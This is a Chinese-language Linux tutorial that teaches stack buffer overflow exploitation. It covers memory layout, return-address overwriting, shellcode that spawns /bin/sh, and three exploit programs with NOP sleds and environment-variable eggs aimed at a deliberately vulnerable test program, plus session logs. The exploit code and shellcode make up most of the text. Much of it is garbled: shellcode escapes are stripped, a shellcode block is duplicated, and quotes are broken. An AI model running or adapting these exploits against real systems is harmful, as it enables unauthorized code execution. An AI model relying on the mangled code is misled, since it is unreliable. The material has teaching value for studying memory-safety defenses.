当前位置:Linux教程 - Linux - 绿色兵团技术指南(一)

绿色兵团技术指南(一)



        
    -------------[ 绪论

    在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。

    -------------[ 存储器结构

    (Memory organization)存储器分为3个部分

    1. 文本区域(程序区)
    这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的操作都将导致错误.

    2. 数据区域
    这个部分存储静态变量,它的大小可以由brk()系统调用来改变.

    3. 堆栈
    堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆栈的。在计算机科学里,这就是通常所指的后进先出(LIFO).堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的,返回地址在过程被调用之前就被设置在堆栈中.

    它也被用来动态分配函数中的变量,以及函数的参数和返回值.

    -------------[ 返回地址和指令指针

    计算机执行一条指令,并保留指向下一条指令的指针(IP).当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET). 执行完成后,RET将会替换IP,程序接着继续执行本来的流程.

    -------------[ 一个缓冲溢出

    让我们用一个例子来说明以下缓冲溢出.

    <++> buffer/example.c

    void main(){
    char big_string[100];
    char small_string[50];
    memset(big_string,0x41,100);
    /* strcpy(char *to,char *from) */
    strcpy(small_string,big_string);}

    <--> end of example.c

    这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A). 然后它将big_string加到small_string中.很明显,数组small_string不能容纳100个字符,因此,溢出产生.

    接下来我们看看存储器中的变化情况:

    [ big_string ] [ small_string ] [SFP] [RET]

    在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉. 这就意味着RET要变为0x41414141(0x41是A十六进制的值). 当函数被返回的时候,指令指针(Instruction Pointer)将会被已经复写了的RET替换. 接着,计算机会试着去执行在0x41414141处的指令. 这将会导致段冲突,因为这个地址已经超出了处理范围.

    --------------------[ 发掘漏洞

    现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下. 不是用A来覆盖,而是用一些特别的地址来达到我们的目的.

    ------------[ 任意代码的执行

    现在我们需要一些东西来指向地址并执行. 在大多数情况下,我们需要产生一个shell,当然这不是唯一的方法.

    Before:

    FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF

    B = the buffer
    E = stack frame pointer
    R = return address
    F = other data

    After:
    FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

    S = shellcode
    A = address pointing to the shellcode
    F = other data

    用C来产生shell的代码如下:

    <++> buffer/shell.c
    void main(){
    char *name[2];

    name[0] = \"/bin/sh\";
    name[1] = 0x0;
    execve(name[0], name, 0x0);
    exit(0);
    }
    <--> end of shellcode

    这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的知识.那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用.对于那些想知道如何产生的人来说,可以根据以下的步骤来完成:

    - 用 -static flag 开关来编译上面的程序
    - 用GDB来打开上面的程序,然后用\"disassemble main\" 命令
    - 去掉所有不必要的代码
    - 用汇编来重写它
    - 编译,然后再用GDB打开,用 \"disassemble main\" 命令
    - 在指令地址使用 x/bx 命令,找回 hex-code.

    或者你可以使用这些代码

    char shellcode[]=
    \"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
    \"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
    \"x80xe8xdcxffxffxff/bin/sh\";
    \"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
    \"x80xe8xdcxffxffxff/bin/sh\";

    ------------[ 寻找地址

    当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. 这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了.

    下面这个程序会告诉我们这个程序的的堆栈指针:

    <++> buffer/getsp.c
    unsigned long get_sp(void){
    __asm__(\"movl %esp, %eax);
    }
    void main(){
    fprintf(stdout,\"0x%xn\",get_sp());
    }
    <--> end of getsp.c

    ------------[试一下下面这个例子

    <++> buffer/hole.c
    void main(int argc,char **argv[]){
    char buffer[512];

    if (argc > 1) /* otherwise we crash our little program */
    strcpy(buffer,argv[1]);
    }
    <--> end of hole.c

    <++> buffer/exploit1.c
    #include

    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512

    char shellcode[] =
    \"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
    \"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
    \"x80xe8xdcxffxffxff/bin/sh\";

    unsigned long get_sp(void) {
    __asm__(\"movl %esp,%eax\");
    }

    void main(int argc, char *argv[])
    {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);

    if (!(buff = malloc(bsize))) {
    printf(\"Can\t allocate memory.n\");
    exit(0);
    }

    addr = get_sp() - offset;
    printf(\"Using address: 0x%xn\", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

    ptr += 4;

    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = \0\;

    memcpy(buff,\"BUF=\",4);
    putenv(buff);
    system(\"/bin/bash\");
    }
    <--> end of exploit1.c

    现在我们可以猜出offset (bufferaddress = stackpointer + offset).

    [hosts]$ exploit1 600
    Using address: 0xbffff6c3
    [hosts]$ ./hole $BUF
    [hosts]$ exploit1 600 100
    Using address: 0xbffffce6
    [hosts]$ ./hole $BUF
    segmentation fault
    etc.

    etc.

    就象你所知道的那样,这个过程几乎是不可能发生的, 这样,我们不得不去猜出更精确的溢出地址. 为了增加我们的机会, 我们可以在我们的缓冲溢出的shellcode前加上 NOP(空操作)指令. 因为我们没有必要去猜出它精确的溢出地址来. 而NOP指令用来延迟执行的.如果这个被覆写的返回地址指针在NOP串中,我们的代码就可以在下面一步执行了.

    存储器的内容应该是这样的:

    FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

    N = NOP
    S = shellcode
    A = address pointing to the shellcode
    F = other data

    我们把原先的代码改了一下.

    <++> buffer/exploit2.c
    #include

    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define NOP 0x90

    char shellcode[] =
    \"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
    \"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
    \"x80xe8xdcxffxffxff/bin/sh\";

    unsigned long get_sp(void) {
    __asm__(\"movl %esp,%eax\");
    }

    void main(int argc, char *argv[])
    {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);

    if (!(buff = malloc(bsize))) {
    printf(\"Can\t allocate memory.n\");
    exit(0);
    }

    addr = get_sp() - offset;
    printf(\"Using address: 0x%xn\", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

    for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = \0\;

    memcpy(buff,\"BUF=\",4);
    putenv(buff);
    system(\"/bin/bash\");
    }
    <--> end of exploit2.c

    [hosts]$ exploit2 600
    Using address: 0xbffff6c3
    [hosts]$ ./hole $BUF
    segmentation fault
    [hosts]$ exploit2 600 100
    Using address: 0xbffffce6
    [hosts]$ ./hole $BUF
    #exit
    [hosts]$

    为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函数来调用,并把shellcode送到环境变量中去.

    <++> buffer/exploit3.c
    #include

    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define DEFAULT_EGG_SIZE 2048
    #define NOP 0x90

    char shellcode[] =
    \"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\"
    \"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\"
    \"x80xe8xdcxffxffxff/bin/sh\";

    unsigned long get_esp(void) {
    __asm__(\"movl %esp,%eax\");
    }

    void main(int argc, char *argv[])
    {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);
    if (argc > 3) eggsize = atoi(argv[3]);

    if (!(buff = malloc(bsize))) {
    printf(\"Can\t allocate memory.n\");
    exit(0);
    }

    if (!(egg = malloc(eggsize))) {
    printf(\"Can\t allocate memory.n\");
    exit(0);
    }

    addr = get_esp() - offset;
    printf(\"Using address: 0x%xn\", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = \0\;
    egg[eggsize - 1] = \0\;
    memcpy(egg,\"BUF=\",4);
    putenv(egg);
    memcpy(buff,\"RET=\",4);
    putenv(buff);
    system(\"/bin/bash\");
    }
    end of exploit3.c

    [hosts]$ exploit2 600
    Using address: 0xbffff5d7
    [hosts]$ ./hole $RET
    #exit
    [hosts]$

    --------------------[ 寻找溢出

    当然有能更准确找到缓冲溢出的方法, 那就是读它的源程序. 因为Linux是个开放的系统, 你很容易就可以得到它的源程序.

    寻找没有边界校验的库函数调用,如:

    strcpy(), strcat(), sprintf(), vsprintf(), scanf().

    其他的具有危险的函数如:在\"当型\"循环中的getc()和getchar(). strncat函数的错误使用。

    --------------------[ 参考文献

    Smashing the stack for fun and profit by aleph1
    bufferoverflows by mudge

    发布人:netbull 来自:黑白世界